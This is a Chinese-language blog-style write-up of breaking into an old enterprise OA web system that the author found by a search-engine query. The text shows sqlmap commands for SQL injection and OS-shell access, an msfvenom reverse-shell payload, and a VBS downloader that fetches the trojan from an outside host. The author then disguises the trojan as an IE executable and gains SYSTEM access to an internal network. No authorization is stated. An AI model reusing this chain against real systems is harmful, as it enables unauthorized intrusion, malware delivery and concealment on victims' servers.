發現漏洞

七月正值暑假,閑暇時光在百度上inurl一番,找到了一個古老的企業OA系統

IP站點,沒有域名,掃過一眼,.NET流行時代的普遍漏洞浮現在腦海里——SQL注入

在用戶名里輸入admin’,不負期望地報了錯

很明顯,前后端都沒有對用戶的輸入進行過濾,直接將’帶入了SQL語句進行。初步判斷,此OA系統存在SQL注入漏洞。

漏洞驗證

打開BurpSuite,設置好瀏覽器代理,抓下HTTP請求,一氣呵成。

問題參數為 txtLogin=admin%27,可將整個請求復制到 test.txt,使用sqlmap -r 來注入

sqlmap -u http://x.x.x.x/xx.aspx --forms

至此,可以確認存在error-based、stack quires和time-based三個類型的漏洞

判斷數據庫用戶的權限

發現SQL注入后,首先要判斷權限,高權限的注入可以為后續滲透省下很大功夫

sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba

非常nice,再次不負期望地返回了DBA權限,輸入以下命令,獲得一個shell

sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell

NT/SYSTEM權限,時隔兩個多月,復現有誤,不予貼圖

0x04 反彈shell 深入內網

生成一個shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe

由于環境艱難,不能直接上傳文件,我選擇了用vbs腳本來下載木馬到服務器

代碼如下:

Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
'發送請求
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
'等待3秒,等文件下載
wscript.sleep 3000 
aGet.Write(post.responseBody)'寫數據
aGet.SaveToFile "shell.exe",2

用echo命令緩慢地寫完了vbs腳本之后,順利運行,下載了木馬

更改名字,移動到IE安裝目錄進行偽裝

start iee.exe 運行木馬,metasploit成功收到了SYSTEM權限的shell

該主機擁有內網IP,存在內網,可以互通,并且該主機作為中央數據庫

此內網主機皆為VMware虛擬機

結束測試,提交漏洞

本次滲透測試成功拿到最高權限, 到此為止,不再深入。

隨著攻擊與防御技術的彼此攀升,程序員的安全意識逐漸提高,SQL也越來越少。

但不少粗糙的程序和古老的系統仍然存在此漏洞,此類漏洞解決方法簡單,只用對用戶輸入參數稍加處理即可。